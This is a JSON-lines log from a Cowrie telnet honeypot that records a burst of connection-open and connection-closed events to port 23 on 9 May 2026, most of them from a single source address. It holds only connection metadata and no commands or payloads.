{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35676,"dst_ip":"159.203.135.109","dst_port":23,"session":"8896d8dd22da","protocol":"telnet","message":"New connection: 50.6.18.72:35676 (159.203.135.109:23) [session: 8896d8dd22da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:00.823248Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35680,"dst_ip":"159.203.135.109","dst_port":23,"session":"c02c844f4382","protocol":"telnet","message":"New connection: 50.6.18.72:35680 (159.203.135.109:23) [session: c02c844f4382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:01.316723Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35684,"dst_ip":"159.203.135.109","dst_port":23,"session":"064259fa68ad","protocol":"telnet","message":"New connection: 50.6.18.72:35684 (159.203.135.109:23) [session: 064259fa68ad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:02.447280Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35686,"dst_ip":"159.203.135.109","dst_port":23,"session":"4132159c41fd","protocol":"telnet","message":"New connection: 50.6.18.72:35686 (159.203.135.109:23) [session: 4132159c41fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:02.709061Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":35700,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c4cf86cec28","protocol":"telnet","message":"New connection: 50.6.18.72:35700 (159.203.135.109:23) [session: 6c4cf86cec28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:03.234637Z"}
{"eventid":"cowrie.session.connect","src_ip":"40.86.220.217","src_port":57994,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac3dfac7add5","protocol":"telnet","message":"New connection: 40.86.220.217:57994 (10.17.0.5:23) [session: ac3dfac7add5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:03.258653Z"}
{"eventid":"cowrie.session.closed","duration":30.362301111221313,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:04.240383Z","src_ip":"40.86.220.217","session":"c1283ce6cef1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.385085582733154,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:05.373235Z","src_ip":"147.182.143.59","session":"05f577890781","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54538,"dst_ip":"159.203.135.109","dst_port":23,"session":"3148b749ab04","protocol":"telnet","message":"New connection: 50.6.18.72:54538 (159.203.135.109:23) [session: 3148b749ab04]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:05.987861Z"}
{"eventid":"cowrie.session.connect","src_ip":"216.218.206.69","src_port":63138,"dst_ip":"159.203.135.109","dst_port":23,"session":"5fb5a0f3739f","protocol":"telnet","message":"New connection: 216.218.206.69:63138 (159.203.135.109:23) [session: 5fb5a0f3739f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:06.140284Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54554,"dst_ip":"159.203.135.109","dst_port":23,"session":"83cf4455a88c","protocol":"telnet","message":"New connection: 50.6.18.72:54554 (159.203.135.109:23) [session: 83cf4455a88c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:07.044453Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54562,"dst_ip":"159.203.135.109","dst_port":23,"session":"62268ff67780","protocol":"telnet","message":"New connection: 50.6.18.72:54562 (159.203.135.109:23) [session: 62268ff67780]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:07.101349Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54564,"dst_ip":"159.203.135.109","dst_port":23,"session":"3cf84f9c53d3","protocol":"telnet","message":"New connection: 50.6.18.72:54564 (159.203.135.109:23) [session: 3cf84f9c53d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:07.757281Z"}
{"eventid":"cowrie.session.closed","duration":2.076549768447876,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:08.216665Z","src_ip":"216.218.206.69","session":"5fb5a0f3739f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54584,"dst_ip":"159.203.135.109","dst_port":23,"session":"67e8a3e7aa1e","protocol":"telnet","message":"New connection: 50.6.18.72:54584 (159.203.135.109:23) [session: 67e8a3e7aa1e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:08.341202Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42898,"dst_ip":"159.203.135.109","dst_port":23,"session":"459c51182f20","protocol":"telnet","message":"New connection: 147.182.143.59:42898 (159.203.135.109:23) [session: 459c51182f20]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:08.496899Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54608,"dst_ip":"159.203.135.109","dst_port":23,"session":"47ae873e345b","protocol":"telnet","message":"New connection: 50.6.18.72:54608 (159.203.135.109:23) [session: 47ae873e345b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:08.624898Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54622,"dst_ip":"159.203.135.109","dst_port":23,"session":"f89ade1be0f7","protocol":"telnet","message":"New connection: 50.6.18.72:54622 (159.203.135.109:23) [session: f89ade1be0f7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:09.068304Z"}
{"eventid":"cowrie.session.connect","src_ip":"147.182.143.59","src_port":42902,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b92eb2eafe8","protocol":"telnet","message":"New connection: 147.182.143.59:42902 (159.203.135.109:23) [session: 7b92eb2eafe8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:09.291534Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54574,"dst_ip":"159.203.135.109","dst_port":23,"session":"7642e36a49ef","protocol":"telnet","message":"New connection: 50.6.18.72:54574 (159.203.135.109:23) [session: 7642e36a49ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:09.311989Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54638,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f5278fc8a08","protocol":"telnet","message":"New connection: 50.6.18.72:54638 (159.203.135.109:23) [session: 6f5278fc8a08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:09.426924Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54600,"dst_ip":"159.203.135.109","dst_port":23,"session":"04a373cd9154","protocol":"telnet","message":"New connection: 50.6.18.72:54600 (159.203.135.109:23) [session: 04a373cd9154]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:09.443270Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54646,"dst_ip":"159.203.135.109","dst_port":23,"session":"50bbd4b2785d","protocol":"telnet","message":"New connection: 50.6.18.72:54646 (159.203.135.109:23) [session: 50bbd4b2785d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:09.494074Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54652,"dst_ip":"159.203.135.109","dst_port":23,"session":"e309c1d5ff91","protocol":"telnet","message":"New connection: 50.6.18.72:54652 (159.203.135.109:23) [session: e309c1d5ff91]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:09.574812Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54662,"dst_ip":"159.203.135.109","dst_port":23,"session":"48a8820d4d2e","protocol":"telnet","message":"New connection: 50.6.18.72:54662 (159.203.135.109:23) [session: 48a8820d4d2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:10.200410Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54674,"dst_ip":"159.203.135.109","dst_port":23,"session":"2925c9e674ab","protocol":"telnet","message":"New connection: 50.6.18.72:54674 (159.203.135.109:23) [session: 2925c9e674ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:10.931674Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54688,"dst_ip":"159.203.135.109","dst_port":23,"session":"8e17d6dff0de","protocol":"telnet","message":"New connection: 50.6.18.72:54688 (159.203.135.109:23) [session: 8e17d6dff0de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.223549Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54692,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77666113088","protocol":"telnet","message":"New connection: 50.6.18.72:54692 (159.203.135.109:23) [session: a77666113088]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.249292Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54708,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e5ce6cf50db","protocol":"telnet","message":"New connection: 50.6.18.72:54708 (159.203.135.109:23) [session: 7e5ce6cf50db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.303776Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54626,"dst_ip":"159.203.135.109","dst_port":23,"session":"1613301f1eb4","protocol":"telnet","message":"New connection: 50.6.18.72:54626 (159.203.135.109:23) [session: 1613301f1eb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.451607Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54710,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c99c19c762d","protocol":"telnet","message":"New connection: 50.6.18.72:54710 (159.203.135.109:23) [session: 0c99c19c762d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.478142Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54724,"dst_ip":"159.203.135.109","dst_port":23,"session":"1b2be00e2cf2","protocol":"telnet","message":"New connection: 50.6.18.72:54724 (159.203.135.109:23) [session: 1b2be00e2cf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.621446Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54726,"dst_ip":"159.203.135.109","dst_port":23,"session":"9bc0c7895c4e","protocol":"telnet","message":"New connection: 50.6.18.72:54726 (159.203.135.109:23) [session: 9bc0c7895c4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.660022Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54730,"dst_ip":"159.203.135.109","dst_port":23,"session":"bb0f144a6a75","protocol":"telnet","message":"New connection: 50.6.18.72:54730 (159.203.135.109:23) [session: bb0f144a6a75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.710847Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54736,"dst_ip":"159.203.135.109","dst_port":23,"session":"98ed69120357","protocol":"telnet","message":"New connection: 50.6.18.72:54736 (159.203.135.109:23) [session: 98ed69120357]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.964025Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54752,"dst_ip":"159.203.135.109","dst_port":23,"session":"8acf233660ce","protocol":"telnet","message":"New connection: 50.6.18.72:54752 (159.203.135.109:23) [session: 8acf233660ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:12.969657Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54764,"dst_ip":"159.203.135.109","dst_port":23,"session":"5ea761f4a043","protocol":"telnet","message":"New connection: 50.6.18.72:54764 (159.203.135.109:23) [session: 5ea761f4a043]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:13.028953Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54768,"dst_ip":"159.203.135.109","dst_port":23,"session":"7089ccb32b3f","protocol":"telnet","message":"New connection: 50.6.18.72:54768 (159.203.135.109:23) [session: 7089ccb32b3f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:13.172071Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54780,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd8f773e14f4","protocol":"telnet","message":"New connection: 50.6.18.72:54780 (159.203.135.109:23) [session: dd8f773e14f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:13.271382Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54788,"dst_ip":"159.203.135.109","dst_port":23,"session":"c19aad152146","protocol":"telnet","message":"New connection: 50.6.18.72:54788 (159.203.135.109:23) [session: c19aad152146]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:13.321742Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54790,"dst_ip":"159.203.135.109","dst_port":23,"session":"dbdb8c3ae932","protocol":"telnet","message":"New connection: 50.6.18.72:54790 (159.203.135.109:23) [session: dbdb8c3ae932]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:13.344528Z"}
{"eventid":"cowrie.session.closed","duration":42.01248812675476,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:13.457932Z","src_ip":"45.58.127.90","session":"487c2facaeb9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54802,"dst_ip":"159.203.135.109","dst_port":23,"session":"24468a723973","protocol":"telnet","message":"New connection: 50.6.18.72:54802 (159.203.135.109:23) [session: 24468a723973]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:13.619357Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54804,"dst_ip":"159.203.135.109","dst_port":23,"session":"09d63eec0bd0","protocol":"telnet","message":"New connection: 50.6.18.72:54804 (159.203.135.109:23) [session: 09d63eec0bd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:14.211149Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54810,"dst_ip":"159.203.135.109","dst_port":23,"session":"35c3190014e6","protocol":"telnet","message":"New connection: 50.6.18.72:54810 (159.203.135.109:23) [session: 35c3190014e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:14.563506Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54826,"dst_ip":"159.203.135.109","dst_port":23,"session":"c588ad8e20b7","protocol":"telnet","message":"New connection: 50.6.18.72:54826 (159.203.135.109:23) [session: c588ad8e20b7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:14.859550Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54828,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c26299f8b3b","protocol":"telnet","message":"New connection: 50.6.18.72:54828 (159.203.135.109:23) [session: 4c26299f8b3b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:14.922532Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54842,"dst_ip":"159.203.135.109","dst_port":23,"session":"606c2641ab8b","protocol":"telnet","message":"New connection: 50.6.18.72:54842 (159.203.135.109:23) [session: 606c2641ab8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:14.988131Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54872,"dst_ip":"159.203.135.109","dst_port":23,"session":"732bb4c981b8","protocol":"telnet","message":"New connection: 50.6.18.72:54872 (159.203.135.109:23) [session: 732bb4c981b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:15.242929Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54878,"dst_ip":"159.203.135.109","dst_port":23,"session":"5d926b8635ce","protocol":"telnet","message":"New connection: 50.6.18.72:54878 (159.203.135.109:23) [session: 5d926b8635ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:15.546534Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54824,"dst_ip":"159.203.135.109","dst_port":23,"session":"1f39a6412264","protocol":"telnet","message":"New connection: 50.6.18.72:54824 (159.203.135.109:23) [session: 1f39a6412264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:15.588877Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32882,"dst_ip":"159.203.135.109","dst_port":23,"session":"51262c9972bf","protocol":"telnet","message":"New connection: 50.6.18.72:32882 (159.203.135.109:23) [session: 51262c9972bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:15.927794Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32892,"dst_ip":"159.203.135.109","dst_port":23,"session":"7a926105fb6b","protocol":"telnet","message":"New connection: 50.6.18.72:32892 (159.203.135.109:23) [session: 7a926105fb6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:16.210762Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54866,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c03128b1483","protocol":"telnet","message":"New connection: 50.6.18.72:54866 (159.203.135.109:23) [session: 3c03128b1483]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:16.228250Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":54856,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ac9a10b1358","protocol":"telnet","message":"New connection: 50.6.18.72:54856 (159.203.135.109:23) [session: 6ac9a10b1358]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:16.237894Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32906,"dst_ip":"159.203.135.109","dst_port":23,"session":"4a6df027089a","protocol":"telnet","message":"New connection: 50.6.18.72:32906 (159.203.135.109:23) [session: 4a6df027089a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:16.473171Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32912,"dst_ip":"159.203.135.109","dst_port":23,"session":"261156d82746","protocol":"telnet","message":"New connection: 50.6.18.72:32912 (159.203.135.109:23) [session: 261156d82746]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:16.479345Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32880,"dst_ip":"159.203.135.109","dst_port":23,"session":"acfaeaceffad","protocol":"telnet","message":"New connection: 50.6.18.72:32880 (159.203.135.109:23) [session: acfaeaceffad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:16.742350Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32924,"dst_ip":"159.203.135.109","dst_port":23,"session":"f8c770fba3de","protocol":"telnet","message":"New connection: 50.6.18.72:32924 (159.203.135.109:23) [session: f8c770fba3de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:16.781415Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32940,"dst_ip":"159.203.135.109","dst_port":23,"session":"5a2efe4b6fae","protocol":"telnet","message":"New connection: 50.6.18.72:32940 (159.203.135.109:23) [session: 5a2efe4b6fae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:17.018818Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32948,"dst_ip":"159.203.135.109","dst_port":23,"session":"5685f3e5f1ab","protocol":"telnet","message":"New connection: 50.6.18.72:32948 (159.203.135.109:23) [session: 5685f3e5f1ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:17.024272Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32990,"dst_ip":"159.203.135.109","dst_port":23,"session":"d50a7fdd1dd8","protocol":"telnet","message":"New connection: 50.6.18.72:32990 (159.203.135.109:23) [session: d50a7fdd1dd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:17.487599Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32974,"dst_ip":"159.203.135.109","dst_port":23,"session":"f666f910cd18","protocol":"telnet","message":"New connection: 50.6.18.72:32974 (159.203.135.109:23) [session: f666f910cd18]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:17.493367Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33004,"dst_ip":"159.203.135.109","dst_port":23,"session":"7c2ddf1f2d05","protocol":"telnet","message":"New connection: 50.6.18.72:33004 (159.203.135.109:23) [session: 7c2ddf1f2d05]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:17.598622Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32928,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ce0e17aa880","protocol":"telnet","message":"New connection: 50.6.18.72:32928 (159.203.135.109:23) [session: 1ce0e17aa880]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:17.956092Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33006,"dst_ip":"159.203.135.109","dst_port":23,"session":"8b15aa4a92a0","protocol":"telnet","message":"New connection: 50.6.18.72:33006 (159.203.135.109:23) [session: 8b15aa4a92a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:18.150388Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":32958,"dst_ip":"159.203.135.109","dst_port":23,"session":"87c5f95794e0","protocol":"telnet","message":"New connection: 50.6.18.72:32958 (159.203.135.109:23) [session: 87c5f95794e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:18.468291Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33016,"dst_ip":"159.203.135.109","dst_port":23,"session":"42ee1bcce103","protocol":"telnet","message":"New connection: 50.6.18.72:33016 (159.203.135.109:23) [session: 42ee1bcce103]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:18.511095Z"}
{"eventid":"cowrie.session.closed","duration":10.058009624481201,"message":"Connection lost after 10 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:18.554782Z","src_ip":"147.182.143.59","session":"459c51182f20","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33022,"dst_ip":"159.203.135.109","dst_port":23,"session":"3d8a375656a2","protocol":"telnet","message":"New connection: 50.6.18.72:33022 (159.203.135.109:23) [session: 3d8a375656a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:18.615670Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33026,"dst_ip":"159.203.135.109","dst_port":23,"session":"88a04512fdc3","protocol":"telnet","message":"New connection: 50.6.18.72:33026 (159.203.135.109:23) [session: 88a04512fdc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:18.641495Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33032,"dst_ip":"159.203.135.109","dst_port":23,"session":"d343718b0b3d","protocol":"telnet","message":"New connection: 50.6.18.72:33032 (159.203.135.109:23) [session: d343718b0b3d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:19.441177Z"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.18.72","src_port":33056,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c20d48c3bc1","protocol":"telnet","message":"New connection: 50.6.18.72:33056 (159.203.135.109:23) [session: 6c20d48c3bc1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T12:27:19.908766Z"}
